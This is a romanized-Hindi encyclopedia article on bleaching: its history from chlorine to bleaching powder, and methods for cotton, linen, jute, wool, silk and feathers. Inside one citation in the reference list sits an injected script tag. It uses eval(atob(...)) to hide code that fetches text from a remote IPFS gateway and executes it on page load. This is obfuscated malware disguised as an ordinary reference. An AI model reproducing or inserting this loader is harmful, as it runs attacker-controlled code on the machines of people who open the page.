विरंजन
viranjan rangin padarthoan se rang nikalakar unhean shvet karane ko kahate haian. isamean se keval rang hi nahian nikalata, balki prakritik padarthoan se anek apadravy bhi nikal jate haian. anek padarthoan ko viranjit karane ki avashyakata p dati hai. aise padarthoan mean rooee, vastr, linen, oon, resham, kagaj lugadi, madhu, mom, tel, chini aur anek any padarth haian. oon aur sooti vastr ke viranjan ki kala hamean bahut prachin kal se maloom hai. prachin misravasi, yoonani, romavasi tatha phinishiyavasi viranjit saman taiyar karate the, par kaise karate the, isaka pata hamean nahian hai. plini [1] ne kuchh pe doan aur pe doan ki rakhoan ka ullekh kiya hai. aisa maloom hota hai ki yoorop mean dach log viranjan ki kala mean adhik vikhyat the. ianglaiand mean 14vian shatabdi mean viranjan karane ke sthanoan ka varnan milata hai. 18vian shatabdi mean isaka prachar vastut: vyapak ho gaya tha. us samay vastroan ko kshariy dravoan [2] mean kee dinoan tak doobakar dhote aur ghas par kee saptah sukhate the. isake bad vastroan ko matthe mean kee din dubakar phir dhokar saph karate the.
itihas
viranjan vyavasay ki sthapana vastut: 1787 ee. mean huee. us samay,klorin ka avishkar ho chuka tha aur vastroan ke viranjan mean yah b da prabhavakari siddh hua tha. betaule [3] pahale vaijnanik the, jinhoanne spasht roop se ghoshit kiya tha, ki vastroan ke viranjan mean klorin gais ka upayog ho sakata hai, aur isaka ullekh unhoanne apane ek nibandh mean kiya tha, jo jarnal d fizik mean 1786 ee. mean chhapa tha. isaka upayog kee deshoan mean hone laga. viranjan ke lie klorin gais asuvidhajanak thi. isase isake upayog mean kuchh samay tak achchhi pragati n ho saki. pichhe dekha gaya ki klorin ko dahak potaish mean avashoshit karake upayog karane par bhi viranjan ho sakata hai. phir klorin ko choone mean avashoshit kar viranjan choorn taiyar kiya gaya, jisaka upayog aj tak hota a raha hai. isake sthan mean ab sodiyam haipoklorait aur drav klorin ka prayog bhi hone laga hai.[4]
rooee ka viranjan
kachchi rooee mean apadravy ke roop mean mom, vasaml, pektin, ranjak, ailbyumin aauyad aur khanij lavan rahate haian. inaki matra lagabhag paanch pratishat tak rah sakati hai. viranjan se ye apadravy bahut kuchh nikal jate haian. yadi rooee ka viranjan pahale nahian hua hai, to apadravyoan ko nikalane ke lie rooee ke sootoan aur vastroan ka bhi viranjan hota hai.
kapas ke soot ka prayog
kapas ke soot ke viranjan ke lie soot ko tin se char pratishat soda aish, ya do pratishat dahak soda, ke sath chhah se ath ghante tak nyoon dabav par ubalate haian. phir use dhokar viranjan drav ke sath adhe se do ghante tak upacharit karate haian. use phir pani se dhokar 2 digri seantigret tvadel haidroklorik ya salphyoorik aml mean dubakar bhali bhaanti dho lete haian. yadi soot ko bilkul saphed banana hai, to usako sabun ke durbal vilayan mean nilanbit kar kuchh rang lete haian. ubalane se soot ke adhikaansh apadravy nikal jate haian. yadi alp rezin sabun milakar ubalean, to mom pray: samast nikal jata hai. yadi vastr viranjan kiya jae, to usase mom ke sath-sath ve padarth bhi, jaise starch, maignishiyam lavan adi, jo sajjikaran mean prayukt hote haian, viranjan ke pashchath vastr halke nila se rangane se kap de bilkul saphed ho jate haian. yadi kap de par chhiant ki chhapaee karani ho, to vastroan ko viranjit kar bilkul saphed banana avashyak hota hai.[4]
san ke sootoan ki matra
san ke sootoan ka viranjan adhik pechida aur apasadhy hota hai, kyoanki aise soot mean apadravyoan ki matra 20 pratishat ya isase bhi adhik rahati hai, jabaki rooee mean apadravyoan ki matra 5 pratishat se adhik nahian rahati. san ke sootoan mean jo apadravy rahate haian, unamean ranjakoan ke atirikt ek vishesh prakar ka mom, 'sanee mom', rahata hai, jis par kisi abhikarmak ki kriya kathin hoti hai. yadi sanee ke vastroan ka viranjan karana hai, to kathinata aur badh jati hai, kyoanki aise vastroan mean viranjakoan ka pravesh kuchh kathin hota hai.
sanee ke sootoan aur vastroan ka viranjan
sanee ke sootoan aur vastroan ka viranjan pray: vaise hi hota hai, jaise rooee ke sootoan aur vastroan ka. aantar keval is bat ka rahata hai, ki unhean ghas par rakhakar dhoop mean sukhana p data hai. isamean samay bahut adhik lagata hai. jahaan rooee ke sootoan aur vastroan ka viranjan ek saptah se kam samay mean ho jata hai, vahaan sanee ke sootoan aur vastroan ke viranjan mean kam se kam chhah saptah lagate haian. viranjan mean lagane vala samay aur kharch kam karane ke anek prayatn hue haian, par unamean abhi yathochit saphalata nahian mili hai. yadi adhik prabal viranjan prayukt kie jaean, to reshoan ke kshatigrast ho jane ki ashanka rahati hai, aur unaki chamak bhi bahut kuchh nasht ho jati hai. samay-samay par is viranjan mean anek sudhar hue haian, jinamean viranjan choorn ke sthan par sodiyam haipoklorait ka vyavahar, dhoop mean sukhane ke sthan par vidyuth se prastut oz aaun ki kriya, ubalane ke bad komal sabun se takhtoan ke bich rag dana, ya naitrik aml ke tanu vilayan mean dubana adi hai. joot ke reshoan ya vastroan ka viranjan bhi rooee ya sanee ke reshoan aur vastroan ke saman hi hota hai. keval kshar ka upayog inake sath nahian karate. inhean keval sodiyam haipoklorait se upacharit kar aml se dho dalate haian. pualoan ka viranjan haidrojan par aauksaid ke vilayan mean 12 ghante se lekar kee dinoan tak dubakar, phir salaphyoorik aml ki kriya se kiya jata hai.[4]
oon ka viranjan
oon ke samanoan ka viranjan karane se ve utane shvet nahian hote jitana rooee ya linen ke saman hote haian, par yadi unaka upachar salaphyooras aml ya haidrojan par aauksaid se kiya jae, to unaka roop bahut kuchh sudhar jata hai. upachar ke bad soot ko dhokar latakaya jata hai. phir bhigaya jata hai aur alp nila dekar ek kaksh ke vilayan mean le jaya jata hai, jahaan salphar daiaauksaid banata hai. rat bhar saman ko vahaan rahane dete haian. isi riti se jaantav romoan ya koochoan ko bhi viranjit karate haian. sodiyam baisalphait ke kuchh prabal vilayan mean dubakar rakhane se bhi oon ka viranjan hota hai. aise viranjit oon ko sabun se dhone par rang phir laut ata hai. yadi haidrojan par aauksaid se viranjit kiya jae aur pichhe amoniya ya sodiyam siliket se kshariy bana liya jae, to viranjan sthayi hota hai. kale ya bhoore oon ko viranjan se bilkul saphed to nahian banaya ja sakata, par unhean sunahara kiya ja sakata hai.
prakritik resham ke oopar serisin ki matra
prakritik resham ke oopar serisin [5] ya resham goand, rahane ke karan vah dekhane mean mand lagata hai. serisin 19-25 pratishat tak rah sakata hai. serisin ko nikalane ke lie, 30 pratishat bhar ke sabun ko pani mean dhulakar usamean resham ko lagabhag 3 ghante tak kvathanaank se nimn tap par tapaya jata hai. isase serisin ghulakar nikal jata hai aur reshe par vishesh chamak a jati hai. ab resham ko halke soda vilayan se dhokar vaanchhit rang mean rang lete haian.
haidrojan par aauksaid ka upayog
ek vishesh prakar ke resham, tasar ke viranjan ke lie, haidrojan par aauksaid ka upayog hota hai. yadi pakshiyoan ke pankhoan ko viranjit karana ho, to haidrojan par aauksaid ko alp amoniya dalakar, kshariy banakar viranjit kiya ja sakata hai. hathi ke daantoan ka bhi viranjan isi prakar hota hai. haidrojan par aauksaid vastut: sarvashreshth viranjak hai. jaantav aur vanaspatik donoan prakar ke samanoan ka isase saman roop se viranjan kiya ja sakata hai. isake anek taiyar vilayan bazaroan mean bikate haian aur ghareloo viranjanoan mean prayukt hote haian. isamean dosh hai, to yahi ki any viranjakoan se yah kimati hota hai.[4]
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tika tippani aur sandarbh
- ↑ Pliny
- ↑ lye
- ↑ Berthollet
- ↑ 4.0 4.1 4.2 4.3 viranjan (hindi) bharatakhoj. abhigaman tithi: 9 sitambar, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ sericine,
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